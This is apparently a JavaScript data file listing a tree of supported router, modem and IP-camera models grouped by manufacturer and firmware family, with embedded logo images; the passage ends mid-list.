imgMfc_Belkin = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA+UlEQVQ4jaWTMW7CQBBF/yDquQBTgETjvYD3ACQXgD7yHgB8mwj6KBQkZ0CCwjRISREoLNnFnmAv4FS7wpItDJ5qtKP5M/NmlqqqQh8b9MoGMPTOdDzp1IqI4H2zRqQUAQD5EboKeJH98UBAywix1sjLgvKyoP3xgGW6qsWttcG/y0BEaJmm1BYfNj0653DKsspX+9591eKJMcF/iIGI4M0kSIwJHT20Ruccrn8XWGtDscYOmBmRUiHxlGU1IWbG+feHgBYGkVL42H7WwN0W8Ixiran3JXYS8Bu5tZEIgCcvEQDysmhn0GTMjFhrzF5fMF8sAh/q+53/AUPhXNMI62VaAAAAAElFTkSuQmCC";

imgMfc_Globespan = "data:image/png;base64,";

imgMfc_Seowon = "data:image/png;base64,";

imgMfc_Atron = "data:image/png;base64,";

imgMfc_VertexWireless = "data:image/png;base64,";



Tree = [

	[1, 1, imgLogo, "Supported routers", [

		[1, 0, imgMfc_AirTies, "AirTies", [

			[0, 1, "AIR-4240"],

			[0, 1, "AIR-4340"],

			[0, 1, "AIR-4450"],

			[0, 1, "AIR-5340"],

			[0, 1, "AIR-5340"],

			[0, 1, "AIR-5341"],

			[0, 1, "AIR-5343"],

			[0, 1, "AIR-5440"],

			[0, 1, "AIR-5443"],

			[0, 1, "AIR-5450v2"],

			[0, 1, "AIR-5453"],

			[0, 1, "RT-204v3"],

			[0, 1, "RT-206"],

			[0, 1, "RT-206v4"],

			[0, 1, "RT-212"],

		]],

		[1, 0, imgMfc_AnyData, "AnyData", [

			[0, 1, "AWR-500A"],

		]],

		[1, 0, imgUnknown, "AnyGate", [

			[0, 1, "XM-3300N"],

		]],

		[1, 0, imgMfc_ASUS, "ASUS", [

			[2, imgMfc_ASUS, "HG (Universal)"],

			[2, imgMfc_ASUS, "Blue (Universal)"],

			[2, imgMfc_ASUS, "Black (Universal)"],

			[0, 1, "AX-112W"],

			[0, 0, "AX-145"],

			[0, 1, "DSL-N10"],

			[0, 1, "DSL-N12U"],

			[0, 1, "DSL-N55U (Black)"],

			[0, 1, "RT-AC56U (Blue/Black)"],

			[0, 1, "RT-AC66U (Blue/Black)"],

			[0, 1, "RT-AC68U (Blue/Black)"],

			[0, 1, "RT-G32"],

			[0, 1, "RT-G32 Rev.C1"],

			[0, 1, "RT-N10"],

			[0, 1, "RT-N10 Rev.C1"],

			[0, 1, "RT-N10+"],

			[0, 1, "RT-N10E"],

			[0, 1, "RT-N10LX"],

			[0, 1, "RT-N10P (Black)"],

			[0, 1, "RT-N10U (Blue/Black/HG)"],

			[0, 1, "RT-N11 (HG)"],

			[0, 1, "RT-N12 (Blue/Black/HG)"],

			[0, 1, "RT-N12 Rev.B1 (Blue/Black/HG)"],

			[0, 1, "RT-N12 Rev.C1 (Blue/Black)"],

			[0, 1, "RT-N12 Rev.D1 (Black)"],

			[0, 1, "RT-N12E"],

			[0, 1, "RT-N12LX"],

			[0, 1, "RT-N12VP (Black)"],

			[0, 1, "RT-N13"],

			[0, 1, "RT-N13U"],

			[0, 1, "RT-N13U Rev.B1"],

			[0, 1, "RT-N14U (Black/Grey)"],

			[0, 1, "RT-N15"],

			[0, 1, "RT-N15U (Blue/Black/HG)"],

			[0, 1, "RT-N16 (Blue/Black/HG)"],

			[0, 1, "RT-N53 (Blue/Black)"],

			[0, 1, "RT-N56U (Blue/Black/Grey)"],

			[0, 1, "RT-N65U (Black)"],

			[0, 1, "RT-N66U (Blue/Black)"],

			[0, 0, "RX3041 (D-Link firmware)"],

			[0, 0, "RX3041 Rev.B"],

			[0, 0, "RX3041 V2"],

			[0, 0, "RX3042H"],

			[0, 1, "U2C 300M (Black) - rebranded"],

			[0, 1, "WL-320gP (HG)"],

			[0, 1, "WL-330gE (HG)"],

			[0, 1, "WL-330N3G"],

			[0, 1, "WL-500W (HG)"],

			[0, 1, "WL-500g Premium (HG)"],

			[0, 1, "WL-500gP (HG)"],

			[0, 1, "WL-500gP V2 (Blue/HG)"],

			[0, 1, "WL-520g (HG)"],

			[0, 1, "WL-520gC (HG)"],

			[0, 1, "WL-520gU (Blue/HG)"],

			[0, 1, "WL-530gV2 (HG)"],

			[0, 1, "WL-550gE (HG)"],

			[0, 1, "WL-AM604g (HG)"],

		]],

		[1, 0, imgMfc_Belkin, "Belkin", [

			[0, 1, "F7D3402 v1"],

		]],

		[1, 0, imgMfc_Cmotech, "C-motech", [

			[0, 0, "CNU-550pro"],

			[0, 0, "CNU-680pro"],

		]],

		[1, 0, imgMfc_Cisco, "Cisco", [

			[4, imgMfc_Cisco, "Cisco SPA (Universal)"],

			[2, imgMfc_Cisco, "Linksys (Universal)"],

			[4, 1, "Aironet AIR-AP1231G-E-K9"],

			[4, 1, "Aironet AIR-LAP1231G-E-K9"],

			[0, 1, "EPC2325"],

			[0, 1, "Linksys E900"],

			[0, 1, "Linksys EA4500"],

			[0, 1, "Linksys WRT54G"],

			[0, 1, "Linksys WRT54GC"],

			[0, 1, "Linksys WRT54GL"],

			[0, 0, "SPA112 (VoIP)"],

			[0, 1, "WAP2000"],

		]],

		[1, 0, imgMfc_Conel, "Conel", [

			[0, 0, "ER75i"],

		]],

		[1, 0, imgMfc_DLink, "D-Link", [

			[1, 0, imgMfc_DLink, "D-Link v2 (Universal)", [

				[0, 1, "Beeline D150L"],

				[0, 1, "DIR-300 (Black/Beeline)"],

				[0, 1, "DIR-300BEE"],

				[0, 1, "DIR-300BEEB5"],

				[0, 1, "DIR-300NRU rev.B5"],

				[0, 1, "DIR-300NRU rev.B6"],

				[0, 1, "DIR-300NRU rev.B7"],

				[0, 1, "DIR-300NRUB5"],

				[0, 1, "DIR-320NRU"],

				[0, 1, "DIR-615"],

				[0, 1, "DIR-620"],

				[0, 0, "DSL-2500U"],

				[0, 1, "DSL-2600U"],

				[0, 1, "DSL-2640NRU"],

				[0, 1, "DSL-2640NRU-SZT-Arch"],

				[0, 1, "DSL-2640NRU-SZV"],

				[0, 1, "DSL-2640U"],

				[0, 1, "DSL-2650NRU"],

				[0, 1, "DSL-2740NRU"],

				[0, 1, "DSL-2740U"],

				[0, 1, "DSL-2750U"],

			]],

			[0, 1, "DAP-1155"],

			[0, 1, "DAP-1353"],

			[0, 1, "DAP-1360"],

			[0, 0, "DCS-2103"],

			[0, 1, "DCS-2121"],

			[0, 1, "DCS-2130"],

			[0, 1, "DCS-2132L"],

			[0, 1, "DCS-2230"],

			[0, 0, "DCS-6817"],

			[0, 0, "DCS-910"],

			[0, 1, "DCS-930"],

			[0, 1, "DCS-930L"],

			[0, 1, "DCS-932L"],

			[0, 1, "DCS-933L"],

			[0, 1, "DCS-942L"],

			[0, 1, "DI-524"],

			[0, 0, "DI-604"],

			[2, 1, "DI-624"],

			[0, 0, "DI-704P"],

			[0, 0, "DI-707P"],

			[0, 0, "DI-804HV"],

			[0, 0, "DI-808HV"],

			[2, 1, "DI-824VUP"],

			[2, 1, "DI-824VUP+"],

			[0, 0, "DIR-100"],

			[0, 0, "DIR-130"],

			[0, 1, "DIR-300 (Orange)"],

			[0, 1, "DIR-320 (Orange/ASUS HG/Entware HG)"],

			[0, 1, "DIR-320 WiMAX (ASUS HG)"],

			[0, 1, "DIR-330"],

			[0, 1, "DIR-400"],

			[0, 1, "DIR-615 (Orange)"],

			[4, 1, "DIR-620"],

			[4, 1, "DIR-655 v2.00"],

			[0, 1, "DIR-825"],

			[0, 1, "DIR-826L"],

			[0, 1, "DIR-857"],

			[0, 1, "DSL-2640B"],

			[0, 1, "DSL-2740R"],

			[0, 0, "DSL-320B"],

			[0, 0, "DSR-150"],

			[0, 1, "DSR-150N"],

			[0, 0, "DSR-250"],

			[0, 1, "DSR-250N"],

			[0, 0, "DSR-500"],

			[0, 1, "DSR-500N"],

			[0, 0, "DSR-1000"],

			[0, 1, "DSR-1000N"],

		]],

		[1, 0, imgMfc_DrayTek, "DrayTek", [

			[4, imgMfc_DrayTek, "Vigor (Universal)"],

			[0, 0, "Vigor2110"],

			[4, 1, "Vigor2910VG"],

			[4, 1, "Vigor2920Vn"],

			[0, 1, "VigorFly 200"],

		]],

		[1, 0, imgMfc_EDIMAX, "EDIMAX", [

			[0, 1, "BR6428N"],

			[0, 1, "BR6428NS"],

			[0, 1, "Firmware 1.06"],

			[0, 1, "Firmware 1.02 (BR6228GN)"],

			[0, 1, "Firmware 1.13 (BR6228GNS)"],

			[0, 1, "Firmware 1.10 (BR6425N)"],

			[0, 1, "Firmware 1.21 (BR6425N)"],

			[0, 1, "Firmware 1.51"],

			[0, 1, "Firmware 1.57"],

			[0, 1, "Firmware 2.52"],

			[0, 1, "Firmware 2.89"],

			[0, 0, "Firmware CLI v2.0 p50"],

			[0, 1, "Intellinet - rebranded"],

		]],

		[1, 0, imgMfc_Gigabyte, "Gigabyte", [

			[0, 1, "GN-BR02G"],

			[0, 1, "GN-BR404W"],

		]],

		[1, 0, imgMfc_Globespan, "GlobespanVirata", [

			[0, 0, "Viking GS8100"],

		]],

		[1, 0, imgMfc_Huawei, "Huawei", [

			[0, 1, "EchoLife HG231f"],

			[0, 1, "EchoLife HG521"],

			[0, 1, "EchoLife HG532c"],

			[0, 1, "EchoLife HG532e"],

			[0, 1, "EchoLife BM622"],

			[0, 1, "EchoLife BM625"],

			[0, 1, "EchoLife BM626"],

			[0, 1, "EchoLife BM631a"],

			[0, 1, "EchoLife BM632"],

			[0, 1, "EchoLife BM632w"],

			[0, 1, "EchoLife BM655"],

			[0, 0, "SmartAX MT880"],

		]],

		[1, 0, imgMfc_Intercross, "Intercross", [

			[0, 0, "1P"],

			[0, 0, "4P"],

			[2, 1, "4PW"],

		]],

		[1, 0, imgMfc_LevelOne, "LevelOne", [

			[2, 1, "SC1BA85A"],

			[0, 1, "WBR-6002"],

		]],

		[1, 0, imgMfc_Motorola, "Motorola Mobility", [

			[0, 1, "VAP2400"],

		]],

		[1, 0, imgMfc_NETGEAR, "NETGEAR", [

			[0, 1, "DG834G"],

			[0, 1, "DGN1000"],

			[0, 1, "DGN2000"],

			[0, 1, "DGN2200"],

			[0, 1, "DGN2200v3"],

			[0, 1, "JDGN1000"],

			[0, 1, "JWNR2000"],

			[0, 1, "JWNR2000v2"],

			[0, 0, "RP614v4"],

			[0, 1, "WG602v4"],

			[0, 1, "WGR612"],

			[0, 1, "WGR614v6"],

			[0, 1, "WGR614v7"],

			[0, 1, "WGR614v9"],

			[0, 1, "WGT624"],

			[0, 1, "WNDAP350"],

			[0, 1, "WNDR3600"],

			[0, 1, "WNDR3800"],

			[0, 1, "WNDR4000"],

			[0, 1, "WNR1000v2"],

			[0, 1, "WNR1000v3"],

			[0, 1, "WNR2200"],

			[0, 1, "WNR3500L (Default/ASUS HG)"],

			[0, 1, "WNR3500Lv1 (Entware HG)"],

			[0, 1, "WNR3500Lv2 (Entware HG)"],

			[0, 1, "WNR612v2"],

			[0, 1, "XWN5001"],

		]],

		[1, 0, imgMfc_Netis, "Netis", [

			[0, 1, "WF2412"],

			[0, 1, "WF2419"],

		]],

		[1, 0, imgUnknown, "NeoPort", [

			[0, 1, "Cell Router"],

			[0, 1, "PORT-5E"],

		]],

		[1, 0, imgUnknown, "PacketFront", [

			[0, 1, "DRG600 Wi-Fi"],

		]],

		[1, 0, imgMfc_Pozitron, "Pozitron", [

			[0, 1, "diSIM"],

		]],

		[1, 0, imgMfc_Seowon, "Seowon Intech", [

			[2, imgMfc_Seowon, "Seowon Intech (Universal)"],

			[0, 0, "SWC-3200"],

			[0, 0, "SWC-7100"],

			[0, 1, "SWC-9000"],

			[0, 1, "SWC-9100"],

			[0, 1, "SWC-9200"],

		]],

		[1, 0, imgMfc_SerComm, "SerComm", [

			[0, 1, "Beeline Smart Box S1000"],

		]],

		[1, 0, imgMfc_Tenda, "Tenda", [

			[0, 1, "11N"],

			[0, 1, "3G 11N"],

			[0, 1, "ADSL2/2+"],

			[0, 1, "Beeline 11N"],

			[0, 1, "Wireless-N Router"],

		]],

		[1, 0, imgMfc_Thomson, "Thomson", [

			[0, 1, "Firmware ST5D.06.03"],

			[0, 1, "Firmware ST5D.10.02"],

			[0, 1, "Firmware ST5D.10.05"],

			[0, 1, "Firmware STA3.66.05"],

			[0, 1, "Firmware STB1.53.11"],

			[0, 1, "Firmware STB6.01.40"],

			[0, 1, "Firmware STB6.01.60"],

			[0, 1, "Firmware STB6.07.02"],

			[0, 1, "Firmware STB6.07.03"],

			[0, 1, "Firmware STB6.07.03.T4"],

			[0, 1, "Firmware STB6.07.04"],

			[0, 1, "Firmware STCE.01.02 (Technicolor)"],

		]],

		[1, 0, imgMfc_TPLINK, "TP-LINK", [

			[0, 1, "Canyon CNP-WF514N1A - rebranded"],

			[0, 1, "MSI RG60SE - rebranded"],

			[0, 1, "SMC SMCWBR14S-N5 - rebranded"],

			[0, 1, "TD-854W"],

			[0, 0, "TD-8840T"],

			[0, 1, "TD-VG3631"],

			[0, 1, "TD-W8968"],

			[0, 1, "TL-MR3220"],

			[0, 1, "TL-MR3420"],

			[0, 0, "TL-R460"],

			[0, 0, "TL-R470T+"],

			[0, 0, "TL-R480T+"],

			[0, 0, "TL-R600VPN"],

			[0, 0, "TL-R860"],

			[0, 1, "TL-WA501G"],

			[0, 1, "TL-WA5110G"],

			[0, 1, "TL-WA5210G"],

			[0, 1, "TL-WA701ND"],

			[0, 1, "TL-WA801N"],

			[0, 1, "TL-WA830RE"],

			[0, 1, "TL-WA901N"],

			[0, 1, "TL-WDR3500"],

			[0, 1, "TL-WDR3600"],

			[0, 1, "TL-WDR4300"],

			[0, 1, "TL-WR1042ND"],

			[0, 1, "TL-WR1043N"],

			[0, 1, "TL-WR1043ND"],

			[0, 1, "TL-WR2543ND"],

			[0, 1, "TL-WR340G"],

			[0, 1, "TL-WR541G/542G"],

			[0, 1, "TL-WR543G"],

			[0, 1, "TL-WR641G/642G"],

			[0, 1, "TL-WR702N"],

			[0, 1, "TL-WR720N"],

			[0, 1, "TL-WR740N"],

			[0, 1, "TL-WR741N"],

			[0, 1, "TL-WR741ND"],

			[0, 1, "TL-WR743ND"],

			[0, 1, "TL-WR840N"],

			[0, 1, "TL-WR841HP"],

			[0, 1, "TL-WR841N"],

			[0, 1, "TL-WR842ND"],

			[0, 1, "TL-WR843ND"],

			[0, 1, "TL-WR940N"],

			[0, 1, "TL-WR941N"],

			[0, 1, "TL-WR941ND"],

		]],

		[1, 0, imgMfc_TRENDnet, "TRENDnet", [

			[0, 1, "Beeline Router"],

			[0, 1, "TEW-452BRP"],

			[0, 1, "TEW-634GRU"],

			[0, 1, "TEW-650AP"],

			[0, 1, "TEW-651BR"],

			[0, 1, "TEW-652BRP"],

			[0, 1, "TEW-673GRU"],

			[0, 1, "TEW-691GR"],

			[0, 1, "TEW-692GR"],

			[0, 1, "TEW-731BR"],

			[0, 0, "TV-IP301"],

			[0, 1, "TV-IP551WI"],

			[0, 0, "TW100-S4W1CA"],

		]],

		[1, 0, imgMfc_Upvel, "Upvel", [

			[0, 1, "Totolink N150RT - rebranded"],

			[0, 0, "UR-305B"],

			[0, 1, "UR-309BN"],

			[0, 1, "UR-312N4G"],

			[0, 1, "UR-313N4G"],

			[0, 1, "UR-315BN (Default/Onlime)"],

			[0, 1, "UR-316N3G"],

			[0, 1, "UR-319BN (Default/Onlime)"],

			[0, 1, "UR-322N4G"],

			[0, 1, "UR-325BN"],

			[0, 1, "UR-326N4G"],

			[0, 1, "UR-337N4G"],

		]],

		[1, 0, imgMfc_VertexWireless, "Vertex Wireless", [

			[0, 1, "VW200"],

		]],

		[1, 0, imgMfc_ZTE, "ZTE", [

			[0, 0, "F412"],

			[0, 1, "F460"],

			[0, 0, "F620"],

			[0, 1, "F660"],

			[0, 1, "ZXV10 H108L"],

			[0, 1, "ZXV10 W300"],

		]],

		[1, 0, imgMfc_ZyXEL, "ZyXEL", [

			[1, 0, imgMfc_ZyXEL, "NDMSv1 (Universal)", [

				[0, 1, "ZyXEL KEENETIC"],

				[0, 1, "ZyXEL KEENETIC II"],

				[0, 1, "ZyXEL KEENETIC 4G"],

				[0, 1, "ZyXEL KEENETIC LITE"],

				[0, 1, "ZyXEL KEENETIC LITE II"],

				[0, 1, "ZyXEL KEENETIC GIGA"],

				[0, 1, "ZyXEL KEENETIC GIGA II"],

				[0, 1, "ZyXEL KEENETIC ULTRA"],

				[0, 1, "ZyXEL KEENETIC OMNI"],

				[0, 1, "ZyXEL KEENETIC START"],

				[0, 1, "Beeline N150L"],

				[0, 1, "ROSTELECOM RT-V4L1USBn"],

				[0, 1, "ROSTELECOM FREEPORT"],

				[0, 1, "DOMOLINK FREEPORT"],

			]],

			[1, 0, imgMfc_ZyXEL, "NDMSv2 (Universal)", [

				[0, 1, "ZyXEL Keenetic"],

				[0, 1, "ZyXEL Keenetic II"],

				[0, 1, "ZyXEL Keenetic 4G"],

				[0, 1, "ZyXEL Keenetic 4G II"],

				[0, 1, "ZyXEL Keenetic Lite"],

				[0, 1, "ZyXEL Keenetic Lite II"],

				[0, 1, "ZyXEL Keenetic Giga"],

				[0, 1, "ZyXEL Keenetic Giga II"],

				[0, 1, "ZyXEL Keenetic Ultra"],

				[0, 1, "ZyXEL Keenetic Omni"],

				[0, 1, "ZyXEL Keenetic Start"],

				[0, 1, "Rostelecom 1W4L1USBn"],

			]],

			[1, 0, imgMfc_ZyXEL, "ZyWALL Series", [

				[0, 0, "2 Plus"],

				[0, 1, "NBG334W EE"],

				[0, 0, "OMNI ADSL LAN EE(Annex A)"],

				[0, 1, "P-2602H-D1A"],

				[0, 1, "P-2602HWL-D1A"],

				[0, 1, "P-2608HWL-D1"],

				[0, 1, "P-660HW-D1"],

				[0, 1, "P-660HW-T1 v2"],

				[0, 1, "P-660HWP-D1"],

				[0, 0, "P-660RU-T1 v2"],

				[0, 1, "P-662HW-D1"],

				[0, 0, "P-791R v2"],

				[0, 0, "P-792H v2"],

				[0, 1, "P660HN EE"],

				[0, 1, "P660HN Lite EE"],

				[0, 0, "P660HT2"],

				[0, 0, "P660HT3 EE"],

				[0, 1, "P660HTN EE"],

				[0, 1, "P660HTW2"],

				[0, 0, "P660RT2"],

				[0, 0, "P660RU2"],

				[0, 0, "Prestige 660H-61"],

				[0, 0, "Prestige 660HW-T1"],

				[0, 0, "Prestige 660R-T1"],

				[0, 0, "Prestige 660RU-T1"],

				[0, 0, "Prestige 660RU-T3/T7"],

				[0, 0, "Prestige 791R"],

			]],

			[1, 0, imgMfc_ZyXEL, "Home Router", [

				[0, 1, "NBG-416N N-lite"],

				[0, 1, "NBG-418N N"],

			]],

			[0, 1, "P-330W EE"],

		]],

		[1, 0, imgMfc_Atron, "Ð�Ñ‚Ñ€Ð¾Ð½", [

			[0, 1, "RFT620"],

		]],

		[1, 0, imgWorldwide, "Other/Various", [

			[1, 0, imgMfc_DLink, "Alpha Networks (D-Link firmware)", [

				[0, 1, "D-Link DI-524UP"],

				[0, 0, "D-Link DI-604UP"],

				[0, 0, "D-Link DI-604+"],

				[0, 1, "D-Link DI-624S"],

				[0, 1, "D-Link T-Mobile TM-G5240"],

				[0, 0, "Planex BRL-04CW"],

				[0, 0, "Planex BRL-04CW-U"],

				[0, 0, "Planex BRL-04R"],

				[0, 0, "Planex BRL-04UR"],

			]],

			[1, 0, imgMfc_Ralink, "Boa ADSL (Ralink firmware)", [

				[0, 1, "Edimax ADSL Router"],

				[0, 1, "QTECH QBR-2041WW"],

				[0, 1, "Rostelecom RT-A1W4L1USBn"],

				[0, 1, "Upvel UR-314AN"],

				[0, 1, "Upvel UR-344AN"],

				[0, 1, "Upvel UR-344AN4G"],

				[0, 1, "Upvel UR-344AN4G+"],

				[0, 1, "Upvel UR-354AN4G"],

			]],

			[1, 0, imgWorldwide, "Boa IP Camera", [

				[0, 1, "ABUS Security-Center TVIP10550"],

				[0, 0, "Airlive OD-300CAM"],

				[0, 1, "Beward N13103"],

				[0, 0, "Beward N6601"],

				[0, 0, "Intellinet NFC30"],

				[0, 0, "Intellinet NFC30-IR"],

				[0, 0, "Intellinet NFC31"],

				[0, 0, "TP-LINK TL-SC2020"],

				[0, 0, "TP-LINK TL-SC3130"],

				[0, 1, "TP-LINK TL-SC3130G"],

				[0, 0, "TP-LINK TL-SC3171"],

				[0, 1, "TP-LINK TL-SC3171G"],

				[0, 0, "Zavio B5110"],

				[0, 0, "Zavio F7110"],

			]],

			[1, 0, imgMfc_DDWRT, "DD-WRT", [

				[0, 1, "ASUS RT-N10+"],

				[0, 1, "ASUS RT-N10+ Rev.D1"],

				[0, 1, "ASUS RT-N16"],

				[0, 1, "ASUS RT-N12"],

				[0, 1, "ASUS RT-N12C1"],

				[0, 1, "ASUS RT-N13U"],

				[0, 1, "ASUS RT-N13U B1"],

				[0, 1, "ASUS RT-N66U"],

				[0, 1, "ASUS WL-500G Premium V2"],

				[0, 1, "ASUS WL-520GU/GC"],

				[0, 1, "Buffalo WHR-G300N"],

				[0, 1, "Cisco Linksys E2000"],

				[0, 1, "Cisco Linksys E2500"],

				[0, 1, "Cisco Linksys WRT160NL"],

				[0, 1, "Cisco Linksys WRT320N"],

				[0, 1, "Cisco Linksys WRT54G/GL/GS"],

				[0, 1, "Cisco Linksys WRT54Gv8 / GSv7"],

				[0, 1, "Cisco Linksys WRT610N"],

				[0, 1, "D-Link DIR-300"],

				[0, 1, "D-Link DIR-300 Rev.B"],

				[0, 1, "D-Link DIR-330"],

				[0, 1, "D-Link DIR-400"],

				[0, 1, "D-Link DIR-600 Rev.B"],

				[0, 1, "D-Link DIR-615-C1"],

				[0, 1, "D-Link DIR-615-E3/E4"],

				[0, 1, "NETGEAR WNDR3700"],

				[0, 1, "NETGEAR WNR2200"],

				[0, 1, "NETGEAR WNR3500v2/U/L"],

				[0, 1, "TP-LINK TL-WDR3600 v1"],

				[0, 1, "TP-LINK TL-WDR4300 v1"],

				[0, 1, "TP-LINK TL-WR1043ND"],

				[0, 1, "TP-LINK TL-WR741ND v1"],

				[0, 1, "TP-LINK TL-WR841ND v5"],

				[0, 1, "TP-LINK TL-WR841ND v7"],

				[0, 1, "TP-LINK TL-WR841ND v8"],

				[0, 1, "TP-LINK TL-WR842ND v1"],

				[0, 1, "TP-LINK TL-WR941ND v2/v3"],

			]],

			[1, 0, imgWorldwide, "G.SHDSL Router", [

				[0, 0, "NSGate qBRIDGE-106n"],

				[0, 0, "Planet GRT-101"],

				[0, 0, "Planet GRT-402"],

				[0, 0, "QTECH QFC-040"],

			]],

			[5, 0, imgWorldwide, "Gemtek WiMAX CPE", [

				[0, 0, "Airspan HiperMAX"],

				[0, 0, "Cambium CMM4"],

				[0, 0, "WIXS-155"],

				[0, 0, "WIXS-177"],

			]],

			[1, 0, imgWorldwide, "Greenpacket WiMAX CPE", [

				[0, 1, "WIXFMM-129"],

			]],

			[1, 0, imgMfc_Broadcom, "Micro DSL (Broadcom firmware)", [

				[0, 1, "Asmax AR1004g"],

				[0, 1, "ASUS WL-AM604g"],

				[0, 1, "Comtrend CT-5372"],

				[0, 1, "Comtrend NexusLink 5631"],

				[0, 0, "D-Link DSL-2500U"],

				[0, 0, "D-Link DSL-2520U"],

				[0, 0, "D-Link DSL-2540U"],

				[0, 1, "D-Link DSL-2600U"],

				[0, 1, "D-Link DSL-2640U"],

				[0, 1, "D-Link DSL-2730B"],

				[0, 1, "D-Link DSL-2730U"],

				[0, 1, "Digicom RAW750-A04"],

				[0, 1, "Eltex NTP-RG-1402G-W"],

				[0, 0, "Glitel GT-318RI"],

				[0, 1, "Glitel GT-5802W"],

				[0, 0, "Huawei EchoLife HG510"],

				[0, 1, "Huawei EchoLife HG520"],

				[0, 1, "Intercross 4PW"],

				[0, 1, "Modem Supply MSW41p4 v2.5"],

				[0, 1, "NETGEAR JDGN1000"],

				[0, 1, "NetComm NB604N"],

				[0, 1, "Pikatel AirMax-101 TTNET"],

				[0, 0, "Pikatel ComboMax"],

				[0, 1, "QTECH QDSL-1040WU"],

				[0, 1, "Sagemcom F@ST1704N"],

				[0, 1, "Sagemcom F@ST2804v2"],

				[0, 1, "Sagemcom F@ST3804"],

				[0, 1, "Starnet AR800"],

				[0, 1, "TP-LINK TD-W8920G"],

				[0, 1, "TP-LINK TD-W8950ND"],

				[0, 1, "TP-LINK TD-W8960N"],

				[0, 1, "TP-LINK TD-W8960N V4"],

				[0, 0, "Zhone 1511-A1"],

				[0, 1, "ZTE ZXDSL 531BII"],

				[0, 0, "ZTE ZXDSL 831AII"],

				[0, 0, "ZTE ZXDSL 831C"],

				[0, 0, "ZTE ZXDSL 831CII"],

				[0, 0, "ZTE ZXDSL 831II"],

				[0, 1, "ZTE ZXDSL 931WII"],

				[0, 1, "ZyXEL P-870HW-51A V2"],

			]],

			[8, imgMfc_MikroTik, "MikroTik RouterOS"],

			[5, 0, imgWorldwide, "ONT GPON Home Gateway", [

				[4, 1, "Dasan Networks H640GW"],

				[4, 1, "Dasan Networks H640RW"],

				[0, 1, "Ericsson SBM4F00ARA"],

			]],

			[1, 0, imgMfc_Ralink, "Ralink Broadband", [

				[0, 1, "EnGenius ESR1221N"],

			]],

			[1, 0, imgMfc_Realtek, "Realtek ADSL firmware", [

				[0, 0, "Acorp Sprinter@ADSL LAN110"],

				[0, 0, "Acorp Sprinter@ADSL LAN110 v2"],

				[0, 1, "Acorp Sprinter@ADSL W422G v4"],

				[0, 1, "Acorp Sprinter@ADSL W520N"],

				[0, 0, "Intercross 1P"],

				[0, 0, "Intercross 4P"],

			]],

			[1, 0, imgMfc_Realtek, "Realtek Broadband firmware", [

				[0, 1, "Acorp WLAN Broadband Router"],

				[0, 1, "ALFA Network 802.11g"],

				[0, 1, "Canyon Wireless Router"],

				[0, 1, "FoxGate WFR-301"],

				[0, 1, "Netcore NW605+"],

				[0, 1, "QTECH QBR-1041WU"],

				[0, 1, "TRENDnet TEW-432BRP"],

				[0, 1, "TRENDnet TEW-432BRP/C"],

				[0, 1, "Well WRC7000N"],

			]],

			[1, 0, imgMfc_Tomato, "Tomato", [

				[0, 1, "D-Link DIR-320"],

				[0, 1, "Linksys WRT310N v1"],

				[0, 1, "NETGEAR WNR3500L/U/v2"],

			]],

			[1, 0, imgWorldwide, "Ubicom Firmware", [

				[0, 1, "D-Link DIR-628"],

				[0, 1, "D-Link DIR-635"],

				[0, 1, "D-Link DIR-655"],

				[0, 1, "TRENDnet TEW-630APB"],

				[0, 1, "TRENDnet TEW-631BRP"],

			]],

			[1, 0, imgMfc_AirOS, "Ubiquiti AirOS", [

				[0, 1, "AirGrid M5 HP"],

				[0, 1, "Bullet2"],

				[0, 1, "NanoStation Loco M2"],

				[0, 1, "NanoStation Loco M5"],

				[0, 1, "NanoStation M5"],

				[0, 1, "NanoStation2"],

				[0, 1, "NanoStation5 L"],

				[0, 1, "PicoStation2"],

				[0, 1, "Rocket M2"],

			]],

			[1, 0, imgWorldwide, "Web Service DVR", [

				[0, 0, "Dahua IPC-HFW2100"],

			]],

			[1, 0, imgWorldwide, "WebCM Firmware", [

				[0, 0, "AirTies RT-102"],

				[0, 0, "AirTies RT-103"],

				[0, 0, "AirTies RT-111"],

				[0, 0, "AirTies RT-111UA"],

				[0, 1, "AirTies RT-205"],

				[0, 1, "AirTies RT-206v1TT"],

				[0, 1, "AirTies RT-211RU"],

				[0, 1, "AirTies RT-211UA"],

				[0, 1, "Buffalo WBMR-G54"],

				[0, 1, "Conceptronic C54APRA"],

				[0, 0, "D-Link DSL-320T"],

				[0, 0, "D-Link DSL-500T"],

				[0, 0, "D-Link DSL-502T"],

				[0, 0, "D-Link DSL-504T"],

				[0, 0, "D-Link DSL-524T"],

				[0, 0, "D-Link DSL-562T"],

				[0, 0, "D-Link DSL-584T"],

				[0, 1, "D-Link DSL-G604T"],

				[0, 1, "D-Link DSL-G624T"],

				[0, 1, "D-Link DSL-G664T"],

				[0, 1, "D-Link DSL-G684T"],

				[0, 1, "D-Link DVA-G3340S"],

			]],

			[0, 1, "Wireless EVDO Smart 3G Router"],

			[1, 0, imgUnknown, "Wive-NG", [

				[0, 1, "Acorp WR-300N"],

				[0, 1, "Acorp WR-300NU"],

			]],

			[1, 0, imgMfc_ZTE, "ZTE WiMAX CPE", [

				[0, 1, "ZTE IX256"],

			]],

			[1, 0, imgMfc_ZyXEL, "ZyNOS ADSL (ZyXEL/TrendChip firmware)", [

				[0, 0, "3Q D001F"],

				[0, 1, "AirLive WT-2000ARM"],

				[0, 0, "ASUS AAM6000EV/Z2"],

				[0, 0, "ASUS AAM6020BI"],

				[0, 0, "ASUS AAM6020BI-Z2"],

				[0, 0, "Asotel UM-A+"],

				[0, 1, "Billion ADSL Modem/Router"],

				[0, 1, "Dick Smith XH9950"],

				[0, 0, "Edimax AR-7084A"],

				[0, 1, "Edimax AR-7084gA"],

				[0, 1, "Encore ENDSL-A2+WIGX2"],

				[0, 0, "Everest SG-1400"],

				[0, 1, "Everest SG-1500"],

				[0, 1, "Hama DR-60"],

				[0, 1, "LevelOne WBR-3601"],

				[0, 1, "Orient WAR25TC"],

				[0, 1, "Planet ADN-4000"],

				[0, 1, "Quake TW1974H1"],

				[0, 0, "Sterlite SAM300AX"],

				[0, 0, "TP-LINK TD-811"],

				[0, 0, "TP-LINK TD-8816"],

				[0, 0, "TP-LINK TD-8817"],

				[0, 0, "TP-LINK TD-8840T"],

				[0, 0, "TP-LINK TD-8840T 2.0"],

				[0, 1, "TP-LINK TD-W8101G"],

				[0, 1, "TP-LINK TD-W8151N"],

				[0, 1, "TP-LINK TD-W8901G"],

				[0, 1, "TP-LINK TD-W8901GB"],

				[0, 1, "TP-LINK TD-W8901N"],

				[0, 1, "TP-LINK TD-W8951NB"],

